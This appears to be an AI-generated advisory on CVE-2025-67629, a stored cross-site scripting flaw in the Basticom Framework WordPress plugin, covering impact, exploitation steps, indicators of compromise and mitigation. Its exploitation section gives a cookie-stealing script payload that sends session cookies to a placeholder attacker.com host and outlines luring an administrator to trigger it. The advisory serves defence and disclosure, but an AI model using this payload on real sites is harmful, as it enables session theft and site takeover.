CVE-2025-67629
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-67629 is a Stored Cross-Site Scripting (XSS) vulnerability in the Basticom Framework WordPress plugin (slug: basticom-framework). It affects all versions from the initial release through version 1.5.2 inclusive. The vulnerability was published on December 24, 2025, and assigned by Patchstack. It carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). It is a stored XSS variant, meaning malicious script input is persisted server-side and later rendered in victims' browsers without proper sanitization or output encoding. Exploitation requires the attacker to have low-privilege authenticated access to the WordPress site (e.g., a Contributor or Author role) and requires a victim user to interact with the affected page. The attack vector is network-based with low complexity (Red Hat CVE, Patchstack).

Impact

Successful exploitation allows an attacker to inject and store malicious JavaScript that executes in the browsers of other users — including administrators — who view the affected content. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, and potential privilege escalation to full site compromise if an administrator account is targeted. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-67629 as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term (Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Basticom Framework plugin version ≤ 1.5.2 using tools such as WPScan or by inspecting plugin directories.
  2. Obtain low-privilege access: Register or use an existing low-privilege account (e.g., Contributor or Author) on the target WordPress site.
  3. Inject malicious payload: Submit a crafted input containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a plugin-rendered field that is stored in the database without proper sanitization.
  4. Trigger victim interaction: Wait for or socially engineer a higher-privileged user (e.g., Administrator) to view the page or post containing the stored payload.
  5. Harvest results: The victim's browser executes the injected script, potentially sending session cookies or performing actions on the attacker's behalf (Red Hat CVE).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin-related admin or front-end endpoints containing encoded script tags (<script>, %3Cscript%3E, javascript:) in input fields.
  • Database: WordPress database entries in wp_posts or plugin-specific tables containing unexpected <script> tags, onerror=, onload=, or javascript: URI schemes in stored content.
  • Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages rendered by the Basticom Framework plugin, potentially carrying cookie or session data in query parameters.

Mitigation and workarounds

Users should update the Basticom Framework plugin to a version beyond 1.5.2 if a patched release is available from the plugin vendor or the WordPress plugin repository. If no patch is yet available, site administrators should disable or remove the plugin until a fix is released. Additionally, restricting untrusted users from roles that allow content submission (e.g., Contributor) can reduce the attack surface. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Red Hat CVE, Patchstack).

Additional resources


SourceThis report was generated using AI

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